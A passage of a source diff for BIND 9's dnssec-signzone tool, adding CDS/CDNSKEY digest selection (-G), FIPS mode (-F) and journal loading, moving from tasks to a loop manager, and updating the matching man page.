+		*cdnskey = true;
+		return;
+	}
+
+	if (dlen < 5 || strncmp(str, "cds:", 4) != 0) {
+		fatal("digest must specify cds:algorithm ('%.*s')", (int)dlen,
+		      str);
+	}
+
+	r.base = str + 4;
+	r.length = dlen - 4;
+	result = dns_dsdigest_fromtext(&alg, &r);
+	if (result == DNS_R_UNKNOWN) {
+		fatal("bad digest '%.*s'", (int)dlen, str);
+	} else if (result != ISC_R_SUCCESS) {
+		fatal("bad digest '%.*s': %s", (int)dlen, str,
+		      isc_result_totext(result));
+	} else if (!dst_ds_digest_supported(alg)) {
+		fatal("unsupported digest '%.*s'", (int)dlen, str);
+	}
+
+	/* Suppress duplicates */
+	for (dns_kasp_digest_t *d = ISC_LIST_HEAD(*digests); d != NULL;
+	     d = ISC_LIST_NEXT(d, link))
+	{
+		if (d->digest == alg) {
+			return;
+		}
+	}
+
+	digest = isc_mem_get(mctx, sizeof(*digest));
+	digest->digest = alg;
+	ISC_LINK_INIT(digest, link);
+	ISC_LIST_APPEND(*digests, digest, link);
+}
+
 static void
 build_final_keylist(void) {
 	isc_result_t result;
@@ -2760,14 +2794,39 @@ build_final_keylist(void) {
 	dns_dnsseckeylist_t rmkeys, matchkeys;
 	char name[DNS_NAME_FORMATSIZE];
 	dns_rdataset_t cdsset, cdnskeyset, soaset;
+	dns_kasp_digestlist_t digests;
+	dns_kasp_digest_t *d, *d_next;
+	bool cdnskey = false;
 
 	ISC_LIST_INIT(rmkeys);
 	ISC_LIST_INIT(matchkeys);
+	ISC_LIST_INIT(digests);
 
 	dns_rdataset_init(&soaset);
 	dns_rdataset_init(&cdsset);
 	dns_rdataset_init(&cdnskeyset);
 
+	if (strlen(sync_records) > 0) {
+		const char delim = ',';
+		char *digest;
+		char *s;
+		size_t dlen;
+
+		digest = UNCONST(sync_records);
+	next_digest:
+		s = strchr(digest, delim);
+		if (s == NULL) {
+			dlen = strlen(digest);
+			add_digest(digest, dlen, &digests, &cdnskey);
+			goto findkeys;
+		}
+		dlen = s - digest;
+		add_digest(digest, dlen, &digests, &cdnskey);
+		digest = s + 1;
+		goto next_digest;
+	}
+
+findkeys:
 	/*
 	 * Find keys that match this zone in the key repository.
 	 */
@@ -2809,8 +2868,9 @@ build_final_keylist(void) {
 	/*
 	 * Update keylist with sync records.
 	 */
+
 	dns_dnssec_syncupdate(&keylist, &rmkeys, &cdsset, &cdnskeyset, now,
-			      keyttl, &diff, mctx);
+			      &digests, cdnskey, keyttl, &diff, mctx);
 
 	dns_name_format(gorigin, name, sizeof(name));
 
@@ -2834,6 +2894,13 @@ build_final_keylist(void) {
 
 	clear_keylist(&rmkeys);
 	clear_keylist(&matchkeys);
+
+	for (d = ISC_LIST_HEAD(digests); d != NULL; d = d_next) {
+		d_next = ISC_LIST_NEXT(d, link);
+		ISC_LIST_UNLINK(digests, d, link);
+		isc_mem_put(mctx, d, sizeof(*d));
+	}
+	INSIST(ISC_LIST_EMPTY(digests));
 }
 
 static void
@@ -3011,7 +3078,7 @@ writeset(const char *prefix, dns_rdatatype_t type) {
 	isc_buffer_t namebuf;
 	isc_region_t r;
 	isc_result_t result;
-	dns_dnsseckey_t *key, *tmpkey;
+	dns_dnsseckey_t *key, *curr;
 	unsigned char dsbuf[DNS_DS_BUFFERSIZE];
 	unsigned char keybuf[DST_KEY_MAXSIZE];
 	unsigned int filenamelen;
@@ -3041,7 +3108,8 @@ writeset(const char *prefix, dns_rdatatype_t type) {
 	name = gorigin;
 
 	for (key = ISC_LIST_HEAD(keylist); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		if (REVOKE(key->key)) {
 			continue;
 		}
@@ -3052,16 +3120,16 @@ writeset(const char *prefix, dns_rdatatype_t type) {
 			have_ksk = false;
 			have_non_ksk = true;
 		}
-		for (tmpkey = ISC_LIST_HEAD(keylist); tmpkey != NULL;
-		     tmpkey = ISC_LIST_NEXT(tmpkey, link))
+		for (curr = ISC_LIST_HEAD(keylist); curr != NULL;
+		     curr = ISC_LIST_NEXT(curr, link))
 		{
-			if (dst_key_alg(key->key) != dst_key_alg(tmpkey->key)) {
+			if (dst_key_alg(key->key) != dst_key_alg(curr->key)) {
 				continue;
 			}
-			if (REVOKE(tmpkey->key)) {
+			if (REVOKE(curr->key)) {
 				continue;
 			}
-			if (isksk(tmpkey)) {
+			if (isksk(curr)) {
 				have_ksk = true;
 			} else {
 				have_non_ksk = true;
@@ -3137,10 +3205,10 @@ print_version(FILE *fp) {
 		return;
 	}
 
-	fprintf(fp, "; dnssec_signzone version %s\n", PACKAGE_VERSION);
+	fprintf(fp, "; %s version %s\n", program, PACKAGE_VERSION);
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -3160,9 +3228,12 @@ usage(void) {
 	fprintf(stderr, "\t\tdirectory to find key files (.)\n");
 	fprintf(stderr, "\t-d directory:\n");
 	fprintf(stderr, "\t\tdirectory to find dsset-* files (.)\n");
+	fprintf(stderr, "\t-F:\tFIPS mode\n");
 	fprintf(stderr, "\t-g:\t");
 	fprintf(stderr, "update DS records based on child zones' "
 			"dsset-* files\n");
+	fprintf(stderr, "\t-G sync-records:\t");
+	fprintf(stderr, "what CDNSKEY and CDS to publish\n");
 	fprintf(stderr, "\t-s [YYYYMMDDHHMMSS|+offset]:\n");
 	fprintf(stderr, "\t\tRRSIG start time "
 			"- absolute|offset (now - 1 hour)\n");
@@ -3200,14 +3271,7 @@ usage(void) {
 	fprintf(stderr, "verify generated signatures\n");
 	fprintf(stderr, "\t-c class (IN)\n");
 	fprintf(stderr, "\t-E engine:\n");
-#if USE_PKCS11
-	fprintf(stderr,
-		"\t\tpath to PKCS#11 provider library "
-		"(default is %s)\n",
-		PK11_LIB_LOCATION);
-#else  /* if USE_PKCS11 */
 	fprintf(stderr, "\t\tname of an OpenSSL engine to use\n");
-#endif /* if USE_PKCS11 */
 	fprintf(stderr, "\t-P:\t");
 	fprintf(stderr, "disable post-sign verification\n");
 	fprintf(stderr, "\t-Q:\t");
@@ -3282,7 +3346,7 @@ print_stats(isc_time_t *timer_start, isc_time_t *timer_finish,
 
 int
 main(int argc, char *argv[]) {
-	int i, ch;
+	int ch;
 	char *startstr = NULL, *endstr = NULL, *classname = NULL;
 	char *dnskey_endstr = NULL;
 	char *origin = NULL, *file = NULL, *output = NULL;
@@ -3300,21 +3364,24 @@ main(int argc, char *argv[]) {
 	bool free_output = false;
 	int tempfilelen = 0;
 	dns_rdataclass_t rdclass;
-	isc_task_t **tasks = NULL;
 	hashlist_t hashlist;
 	bool make_keyset = false;
 	bool set_salt = false;
 	bool set_optout = false;
 	bool set_iter = false;
 	bool nonsecify = false;
+	bool set_fips_mode = false;
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+	OSSL_PROVIDER *fips = NULL, *base = NULL;
+#endif
 
 	atomic_init(&shuttingdown, false);
 	atomic_init(&finished, false);
 
 	/* Unused letters: Bb G J q Yy (and F is reserved). */
-#define CMDLINE_FLAGS                                                         \
-	"3:AaCc:Dd:E:e:f:FghH:i:I:j:K:k:L:l:m:M:n:N:o:O:PpQqRr:s:ST:tuUv:VX:" \
-	"xzZ:"
+#define CMDLINE_FLAGS                                                          \
+	"3:AaCc:Dd:E:e:f:FgG:hH:i:I:j:J:K:k:L:l:m:M:n:N:o:O:PpQqRr:s:ST:tuUv:" \
+	"VX:xzZ:"
 
 	/*
 	 * Process memory debugging argument first.
@@ -3334,12 +3401,6 @@ main(int argc, char *argv[]) {
 			{
 				isc_mem_debugging |= ISC_MEM_DEBUGUSAGE;
 			}
-			if (strcasecmp(isc_commandline_argument, "size") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGSIZE;
-			}
-			if (strcasecmp(isc_commandline_argument, "mctx") == 0) {
-				isc_mem_debugging |= ISC_MEM_DEBUGCTX;
-			}
 			break;
 		default:
 			break;
@@ -3349,17 +3410,7 @@ main(int argc, char *argv[]) {
 
 	masterstyle = &dns_master_style_explicitttl;
 
-	check_result(isc_app_start(), "isc_app_start");
-
-	isc_mem_create(&mctx);
-
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
-
 	while ((ch = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
 		switch (ch) {
 		case '3':
@@ -3435,6 +3486,10 @@ main(int argc, char *argv[]) {
 			generateds = true;
 			break;
 
+		case 'G':
+			sync_records = isc_commandline_argument;
+			break;
+
 		case 'H':
 			set_iter = true;
 			/* too-many is NOT DOCUMENTED */
@@ -3473,6 +3528,10 @@ main(int argc, char *argv[]) {
 			}
 			break;
 
+		case 'J':
+			journal = isc_commandline_argument;
+			break;
+
 		case 'K':
 			directory = isc_commandline_argument;
 			break;
@@ -3519,8 +3578,8 @@ main(int argc, char *argv[]) {
 
 		case 'n':
 			endp = NULL;
-			ntasks = strtol(isc_commandline_argument, &endp, 0);
-			if (*endp != '\0' || ntasks > INT32_MAX) {
+			nloops = strtol(isc_commandline_argument, &endp, 0);
+			if (*endp != '\0' || nloops > INT32_MAX) {
 				fatal("number of cpus must be numeric");
 			}
 			break;
@@ -3604,14 +3663,15 @@ main(int argc, char *argv[]) {
 			break;
 
 		case 'F':
-		/* Reserved for FIPS mode */
-		/* FALLTHROUGH */
+			set_fips_mode = true;
+			break;
+
 		case '?':
 			if (isc_commandline_option != '?') {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
@@ -3633,13 +3693,7 @@ main(int argc, char *argv[]) {
 		}
 	}
 
-	result = dst_lib_init(mctx, engine);
-	if (result != ISC_R_SUCCESS) {
-		fatal("could not initialize dst: %s",
-		      isc_result_totext(result));
-	}
-
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	if (startstr != NULL) {
 		starttime = strtotime(startstr, now, now, NULL);
@@ -3667,10 +3721,10 @@ main(int argc, char *argv[]) {
 		cycle = (endtime - starttime) / 4;
 	}
 
-	if (ntasks == 0) {
-		ntasks = isc_os_ncpus() * 2;
+	if (nloops == 0) {
+		nloops = isc_os_ncpus();
 	}
-	vbprintf(4, "using %d cpus\n", ntasks);
+	vbprintf(4, "using %d cpus\n", nloops);
 
 	rdclass = strtoclass(classname);
 
@@ -3678,6 +3732,35 @@ main(int argc, char *argv[]) {
 		directory = ".";
 	}
 
+	isc_managers_create(&mctx, nloops, &loopmgr, &netmgr);
+
+	if (set_fips_mode) {
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+		fips = OSSL_PROVIDER_load(NULL, "fips");
+		if (fips == NULL) {
+			ERR_clear_error();
+			fatal("Failed to load FIPS provider");
+		}
+		base = OSSL_PROVIDER_load(NULL, "base");
+		if (base == NULL) {
+			OSSL_PROVIDER_unload(fips);
+			ERR_clear_error();
+			fatal("Failed to load base provider");
+		}
+#endif
+		if (!isc_fips_mode()) {
+			if (isc_fips_set_mode(1) != ISC_R_SUCCESS) {
+				fatal("setting FIPS mode failed");
+			}
+		}
+	}
+
+	result = dst_lib_init(mctx, engine);
+	if (result != ISC_R_SUCCESS) {
+		fatal("could not initialize dst: %s",
+		      isc_result_totext(result));
+	}
+
 	setup_logging(mctx, &log);
 
 	argc -= isc_commandline_index;
@@ -3707,8 +3790,6 @@ main(int argc, char *argv[]) {
 	if (inputformatstr != NULL) {
 		if (strcasecmp(inputformatstr, "text") == 0) {
 			inputformat = dns_masterformat_text;
-		} else if (strcasecmp(inputformatstr, "map") == 0) {
-			inputformat = dns_masterformat_map;
 		} else if (strcasecmp(inputformatstr, "raw") == 0) {
 			inputformat = dns_masterformat_raw;
 		} else if (strncasecmp(inputformatstr, "raw=", 4) == 0) {
@@ -3726,8 +3807,6 @@ main(int argc, char *argv[]) {
 		} else if (strcasecmp(outputformatstr, "full") == 0) {
 			outputformat = dns_masterformat_text;
 			masterstyle = &dns_master_style_full;
-		} else if (strcasecmp(outputformatstr, "map") == 0) {
-			outputformat = dns_masterformat_map;
 		} else if (strcasecmp(outputformatstr, "raw") == 0) {
 			outputformat = dns_masterformat_raw;
 		} else if (strncasecmp(outputformatstr, "raw=", 4) == 0) {
@@ -3736,7 +3815,8 @@ main(int argc, char *argv[]) {
 			outputformat = dns_masterformat_raw;
 			rawversion = strtol(outputformatstr + 4, &end, 10);
 			if (end == outputformatstr + 4 || *end != '\0' ||
-			    rawversion > 1U) {
+			    rawversion > 1U)
+			{
 				fprintf(stderr, "unknown raw format version\n");
 				exit(1);
 			}
@@ -3778,8 +3858,11 @@ main(int argc, char *argv[]) {
 	check_result(result, "dns_master_stylecreate");
 
 	gdb = NULL;
-	TIME_NOW(&timer_start);
+	timer_start = isc_time_now();
 	loadzone(file, origin, rdclass, &gdb);
+	if (journal != NULL) {
+		loadjournal(mctx, gdb, journal);
+	}
 	gorigin = dns_db_origin(gdb);
 	gclass = dns_db_class(gdb);
 	get_soa_ttls();
@@ -3811,7 +3894,7 @@ main(int argc, char *argv[]) {
 	 * of keys rather early.
 	 */
 	ISC_LIST_INIT(keylist);
-	isc_rwlock_init(&keylist_lock, 0, 0);
+	isc_rwlock_init(&keylist_lock);
 
 	/*
 	 * Fill keylist with:
@@ -3842,7 +3925,8 @@ main(int argc, char *argv[]) {
 
 	/* Now enumerate the key list */
 	for (key = ISC_LIST_HEAD(keylist); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		key->index = keycount++;
 	}
 
@@ -3864,9 +3948,10 @@ main(int argc, char *argv[]) {
 		bool answer;
 
 		hash_length = dns_nsec3_hashlength(dns_hash_sha1);
-		hashlist_init(&hashlist, dns_db_nodecount(gdb) * 2,
+		hashlist_init(&hashlist,
+			      dns_db_nodecount(gdb, dns_dbtree_main) * 2,
 			      hash_length);
-		result = dns_nsec_nseconly(gdb, gversion, &answer);
+		result = dns_nsec_nseconly(gdb, gversion, NULL, &answer);
 		if (result == ISC_R_NOTFOUND) {
 			fprintf(stderr,
 				"%s: warning: NSEC3 generation "
@@ -3944,11 +4029,7 @@ main(int argc, char *argv[]) {
 		result = isc_file_mktemplate(output, tempfile, tempfilelen);
 		check_result(result, "isc_file_mktemplate");
 
-		if (outputformat == dns_masterformat_text) {
-			result = isc_file_openunique(tempfile, &outfp);
-		} else {
-			result = isc_file_bopenunique(tempfile, &outfp);
-		}
+		result = isc_file_openunique(tempfile, &outfp);
 		if (result != ISC_R_SUCCESS) {
 			fatal("failed to open temporary output file: %s",
 			      isc_result_totext(result));
@@ -3960,24 +4041,6 @@ main(int argc, char *argv[]) {
 	print_time(outfp);
 	print_version(outfp);
 
-	isc_managers_create(mctx, ntasks, 0, 0, &netmgr, &taskmgr, NULL, NULL);
-
-	master = NULL;
-	result = isc_task_create(taskmgr, 0, &master);
-	if (result != ISC_R_SUCCESS) {
-		fatal("failed to create task: %s", isc_result_totext(result));
-	}
-
-	tasks = isc_mem_get(mctx, ntasks * sizeof(isc_task_t *));
-	for (i = 0; i < (int)ntasks; i++) {
-		tasks[i] = NULL;
-		result = isc_task_create(taskmgr, 0, &tasks[i]);
-		if (result != ISC_R_SUCCESS) {
-			fatal("failed to create task: %s",
-			      isc_result_totext(result));
-		}
-	}
-
 	isc_mutex_init(&namelock);
 
 	if (printstats) {
@@ -3985,36 +4048,23 @@ main(int argc, char *argv[]) {
 	}
 
 	presign();
-	TIME_NOW(&sign_start);
+	sign_start = isc_time_now();
 	signapex();
 	if (!atomic_load(&finished)) {
 		/*
 		 * There is more work to do.  Spread it out over multiple
 		 * processors if possible.
 		 */
-		for (i = 0; i < (int)ntasks; i++) {
-			result = isc_app_onrun(mctx, master, startworker,
-					       tasks[i]);
-			if (result != ISC_R_SUCCESS) {
-				fatal("failed to start task: %s",
-				      isc_result_totext(result));
-			}
-		}
-		(void)isc_app_run();
+		isc_loopmgr_setup(loopmgr, assignwork, NULL);
+		isc_loopmgr_teardown(loopmgr, abortwork, NULL);
+		isc_loopmgr_run(loopmgr);
+
 		if (!atomic_load(&finished)) {
 			fatal("process aborted by user");
 		}
-	} else {
-		isc_task_detach(&master);
-	}
-	atomic_store(&shuttingdown, true);
-	for (i = 0; i < (int)ntasks; i++) {
-		isc_task_detach(&tasks[i]);
 	}
-	isc_managers_destroy(&netmgr, &taskmgr, NULL, NULL);
-	isc_mem_put(mctx, tasks, ntasks * sizeof(isc_task_t *));
 	postsign();
-	TIME_NOW(&sign_finish);
+	sign_finish = isc_time_now();
 
 	if (disable_zone_check) {
 		vresult = ISC_R_SUCCESS;
@@ -4029,7 +4079,7 @@ main(int argc, char *argv[]) {
 		}
 	}
 
-	if (outputformat != dns_masterformat_text) {
+	if (!output_dnssec_only) {
 		dns_masterrawheader_t header;
 		dns_master_initrawheader(&header);
 		if (rawversion == 0U) {
@@ -4041,12 +4091,7 @@ main(int argc, char *argv[]) {
 		result = dns_master_dumptostream(mctx, gdb, gversion,
 						 masterstyle, outputformat,
 						 &header, outfp);
-		check_result(result, "dns_master_dumptostream3");
-	}
-
-	isc_mutex_destroy(&namelock);
-	if (printstats) {
-		isc_mutex_destroy(&statslock);
+		check_result(result, "dns_master_dumptostream");
 	}
 
 	if (!output_stdout) {
@@ -4092,15 +4137,25 @@ main(int argc, char *argv[]) {
 	if (verbose > 10) {
 		isc_mem_stats(mctx, stdout);
 	}
-	isc_mem_destroy(&mctx);
 
-	(void)isc_app_finish();
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+	if (base != NULL) {
+		OSSL_PROVIDER_unload(base);
+	}
+	if (fips != NULL) {
+		OSSL_PROVIDER_unload(fips);
+	}
+#endif
+
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
 
 	if (printstats) {
-		TIME_NOW(&timer_finish);
+		timer_finish = isc_time_now();
 		print_stats(&timer_start, &timer_finish, &sign_start,
 			    &sign_finish);
+		isc_mutex_destroy(&statslock);
 	}
+	isc_mutex_destroy(&namelock);
 
 	return (vresult == ISC_R_SUCCESS ? 0 : 1);
 }
diff --git a/bin/dnssec/dnssec-signzone.rst b/bin/dnssec/dnssec-signzone.rst
index a43d76954a..e6fb455c3d 100644
--- a/bin/dnssec/dnssec-signzone.rst
+++ b/bin/dnssec/dnssec-signzone.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-signzone
+.. program:: dnssec-signzone
 .. _man_dnssec-signzone:
 
 dnssec-signzone - DNSSEC zone signing tool
@@ -29,12 +21,12 @@ dnssec-signzone - DNSSEC zone signing tool
 Synopsis
 ~~~~~~~~
 
-:program:`dnssec-signzone` [**-a**] [**-c** class] [**-d** directory] [**-D**] [**-E** engine] [**-e** end-time] [**-f** output-file] [**-g**] [**-h**] [**-i** interval] [**-I** input-format] [**-j** jitter] [**-K** directory] [**-k** key] [**-L** serial] [**-M** maxttl] [**-N** soa-serial-format] [**-o** origin] [**-O** output-format] [**-P**] [**-Q**] [**-q**] [**-R**] [**-S**] [**-s** start-time] [**-T** ttl] [**-t**] [**-u**] [**-v** level] [**-V**] [**-X** extended end-time] [**-x**] [**-z**] [**-3** salt] [**-H** iterations] [**-A**] {zonefile} [key...]
+:program:`dnssec-signzone` [**-a**] [**-c** class] [**-d** directory] [**-D**] [**-E** engine] [**-e** end-time] [**-f** output-file] [**-F**] [**-g**] [**-G sync-records**] [**-h**] [**-i** interval] [**-I** input-format] [**-j** jitter] [**-K** directory] [**-k** key] [**-L** serial] [**-M** maxttl] [**-N** soa-serial-format] [**-o** origin] [**-O** output-format] [**-P**] [**-Q**] [**-q**] [**-R**] [**-S**] [**-s** start-time] [**-T** ttl] [**-t**] [**-u**] [**-v** level] [**-V**] [**-X** extended end-time] [**-x**] [**-z**] [**-3** salt] [**-H** iterations] [**-A**] {zonefile} [key...]
 
 Description
 ~~~~~~~~~~~
 
-``dnssec-signzone`` signs a zone; it generates NSEC and RRSIG records
+:program:`dnssec-signzone` signs a zone; it generates NSEC and RRSIG records
 and produces a signed version of the zone. The security status of
 delegations from the signed zone (that is, whether the child zones are
 secure) is determined by the presence or absence of a ``keyset``
@@ -43,52 +35,72 @@ file for each child zone.
 Options
 ~~~~~~~
 
-``-a``
+.. option:: -a
+
    This option verifies all generated signatures.
 
-``-c class``
+.. option:: -c class
+
    This option specifies the DNS class of the zone.
 
-``-C``
+.. option:: -C
+
    This option sets compatibility mode, in which a ``keyset-zonename`` file is generated in addition
    to ``dsset-zonename`` when signing a zone, for use by older versions
-   of ``dnssec-signzone``.
+   of :program:`dnssec-signzone`.
+
+.. option:: -d directory
 
-``-d directory``
    This option indicates the directory where BIND 9 should look for ``dsset-`` or ``keyset-`` files.
 
-``-D``
+.. option:: -D
+
    This option indicates that only those record types automatically managed by
-   ``dnssec-signzone``, i.e., RRSIG, NSEC, NSEC3 and NSEC3PARAM records, should be included in the output.
-   If smart signing (``-S``) is used, DNSKEY records are also included.
+   :program:`dnssec-signzone`, i.e., RRSIG, NSEC, NSEC3 and NSEC3PARAM records, should be included in the output.
+   If smart signing (:option:`-S`) is used, DNSKEY records are also included.
    The resulting file can be included in the original zone file with
-   ``$INCLUDE``. This option cannot be combined with ``-O raw``,
-   ``-O map``, or serial-number updating.
+   ``$INCLUDE``. This option cannot be combined with :option:`-O raw <-O>`
+   or serial-number updating.
+
+.. option:: -E engine
 
-``-E engine``
    This option specifies the hardware to use for cryptographic
    operations, such as a secure key store used for signing, when applicable.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
+
+.. option:: -F
+
+   This options turns on FIPS (US Federal Information Processing Standards)
+   mode if the underlying crytographic library supports running in FIPS
+   mode.
+
+.. option:: -g
 
-``-g``
    This option indicates that DS records for child zones should be generated from a ``dsset-`` or ``keyset-``
    file. Existing DS records are removed.
 
-``-K directory``
+.. option:: -G sync-records
+
+   This option indicates which CDS and CDNSKEY records should be generated. ``sync-records`` is a
+   comma-separated string with the following allowed items: ``cdnskey``, and ``cds:<digest-type>``,
+   where ``digest-type`` is an allowed algorithm such as SHA-256 (2), or SHA-384 (4).
+   Only works in combination with smart signing (``-S``).
+
+.. option:: -K directory
+
    This option specifies the directory to search for DNSSEC keys. If not
    specified, it defaults to the current directory.
 
-``-k key``
+.. option:: -k key
+
    This option tells BIND 9 to treat the specified key as a key-signing key, ignoring any key flags. This
    option may be specified multiple times.
 
-``-M maxttl``
+.. option:: -M maxttl
+
    This option sets the maximum TTL for the signed zone. Any TTL higher than ``maxttl``
    in the input zone is reduced to ``maxttl`` in the output. This
    provides certainty as to the largest possible TTL in the signed zone,
@@ -96,10 +108,11 @@ Options
    possible time before signatures that have been retrieved by resolvers
    expire from resolver caches. Zones that are signed with this
    option should be configured to use a matching ``max-zone-ttl`` in
-   ``named.conf``. (Note: This option is incompatible with ``-D``,
+   :iscman:`named.conf`. (Note: This option is incompatible with :option:`-D`,
    because it modifies non-DNSSEC data in the output zone.)
 
-``-s start-time``
+.. option:: -s start-time
+
    This option specifies the date and time when the generated RRSIG records become
    valid. This can be either an absolute or relative time. An absolute
    start time is indicated by a number in YYYYMMDDHHMMSS notation;
@@ -108,7 +121,8 @@ Options
    time. If no ``start-time`` is specified, the current time minus 1
    hour (to allow for clock skew) is used.
 
-``-e end-time``
+.. option:: -e end-time
+
    This option specifies the date and time when the generated RRSIG records expire. As
    with ``start-time``, an absolute time is indicated in YYYYMMDDHHMMSS
    notation. A time relative to the start time is indicated with ``+N``,
@@ -117,7 +131,8 @@ Options
    specified, 30 days from the start time is the default.
    ``end-time`` must be later than ``start-time``.
 
-``-X extended end-time``
+.. option:: -X extended end-time
+
    This option specifies the date and time when the generated RRSIG records for the
    DNSKEY RRset expire. This is to be used in cases when the DNSKEY
    signatures need to persist longer than signatures on other records;
@@ -132,20 +147,24 @@ Options
    as the default. (``end-time``, in turn, defaults to 30 days from the
    start time.) ``extended end-time`` must be later than ``start-time``.
 
-``-f output-file``
+.. option:: -f output-file
+
    This option indicates the name of the output file containing the signed zone. The default
    is to append ``.signed`` to the input filename. If ``output-file`` is
    set to ``-``, then the signed zone is written to the standard
    output, with a default output format of ``full``.
 
-``-h``
+.. option:: -h
+
    This option prints a short summary of the options and arguments to
-   ``dnssec-signzone``.
+   :program:`dnssec-signzone`.
+
+.. option:: -V
 
-``-V``
    This option prints version information.
 
-``-i interval``
+.. option:: -i interval
+
    This option indicates that, when a previously signed zone is passed as input, records may be
    re-signed. The ``interval`` option specifies the cycle interval as an
    offset from the current time, in seconds. If a RRSIG record expires
@@ -154,19 +173,21 @@ Options
 
    The default cycle interval is one quarter of the difference between
    the signature end and start times. So if neither ``end-time`` nor
-   ``start-time`` is specified, ``dnssec-signzone`` generates
+   ``start-time`` is specified, :program:`dnssec-signzone` generates
    signatures that are valid for 30 days, with a cycle interval of 7.5
    days. Therefore, if any existing RRSIG records are due to expire in
    less than 7.5 days, they are replaced.
 
-``-I input-format``
-   This option sets the format of the input zone file. Possible formats are ``text``
-   (the default), ``raw``, and ``map``. This option is primarily
+.. option:: -I input-format
+
+   This option sets the format of the input zone file. Possible formats are
+   ``text`` (the default), and ``raw``. This option is primarily
    intended to be used for dynamic signed zones, so that the dumped zone
    file in a non-text format containing updates can be signed directly.
    This option is not useful for non-dynamic zones.
 
-``-j jitter``
+.. option:: -j jitter
+
    When signing a zone with a fixed signature lifetime, all RRSIG
    records issued at the time of signing expire simultaneously. If the
    zone is incrementally signed, i.e., a previously signed zone is passed
@@ -181,16 +202,19 @@ Options
    less congestion than if all validators need to refetch at around the
    same time.
 
-``-L serial``
-   When writing a signed zone to "raw" or "map" format, this option sets the "source
+.. option:: -L serial
+
+   When writing a signed zone to "raw" format, this option sets the "source
    serial" value in the header to the specified ``serial`` number. (This is
    expected to be used primarily for testing purposes.)
 
-``-n ncpus``
+.. option:: -n ncpus
+
    This option specifies the number of threads to use. By default, one thread is
    started for each detected CPU.
 
-``-N soa-serial-format``
+.. option:: -N soa-serial-format
+
    This option sets the SOA serial number format of the signed zone. Possible formats are
    ``keep`` (the default), ``increment``, ``unixtime``, and
    ``date``.
@@ -213,22 +237,24 @@ Options
       than or equal to that value, in which case it is simply
       incremented by one.
 
-``-o origin``
+.. option:: -o origin
+
    This option sets the zone origin. If not specified, the name of the zone file is
    assumed to be the origin.
 
-``-O output-format``
-   This option sets the format of the output file containing the signed zone. Possible
-   formats are ``text`` (the default), which is the standard textual
-   representation of the zone; ``full``, which is text output in a
-   format suitable for processing by external scripts; and ``map``,
-   ``raw``, and ``raw=N``, which store the zone in binary formats
-   for rapid loading by ``named``. ``raw=N`` specifies the format
-   version of the raw zone file: if N is 0, the raw file can be read by
-   any version of ``named``; if N is 1, the file can be read by release
-   9.9.0 or higher. The default is 1.
-
-``-P``
+.. option:: -O output-format
+
+   This option sets the format of the output file containing the signed
+   zone. Possible formats are ``text`` (the default), which is the standard
+   textual representation of the zone; ``full``, which is text output in a
+   format suitable for processing by external scripts; and ``raw`` and
+   ``raw=N``, which store the zone in binary formats for rapid loading by
+   :iscman:`named`. ``raw=N`` specifies the format version of the raw zone file:
+   if N is 0, the raw file can be read by any version of :iscman:`named`; if N is
+   1, the file can be read by release 9.9.0 or higher. The default is 1.
+
+.. option:: -P
+
    This option disables post-sign verification tests.
 
    The post-sign verification tests ensure that for each algorithm in
@@ -236,36 +262,40 @@ Options
    revoked KSK keys are self-signed, and that all records in the zone
    are signed by the algorithm. This option skips these tests.
 
-``-Q``
+.. option:: -Q
+
    This option removes signatures from keys that are no longer active.
 
    Normally, when a previously signed zone is passed as input to the
    signer, and a DNSKEY record has been removed and replaced with a new
    one, signatures from the old key that are still within their validity
    period are retained. This allows the zone to continue to validate
-   with cached copies of the old DNSKEY RRset. The ``-Q`` option forces
-   ``dnssec-signzone`` to remove signatures from keys that are no longer
+   with cached copies of the old DNSKEY RRset. The :option:`-Q` option forces
+   :program:`dnssec-signzone` to remove signatures from keys that are no longer
    active. This enables ZSK rollover using the procedure described in
    :rfc:`4641#4.2.1.1` ("Pre-Publish Key Rollover").
 
-``-q``
+.. option:: -q
+
    This option enables quiet mode, which suppresses unnecessary output. Without this option, when
-   ``dnssec-signzone`` is run it prints three pieces of information to standard output: the number of
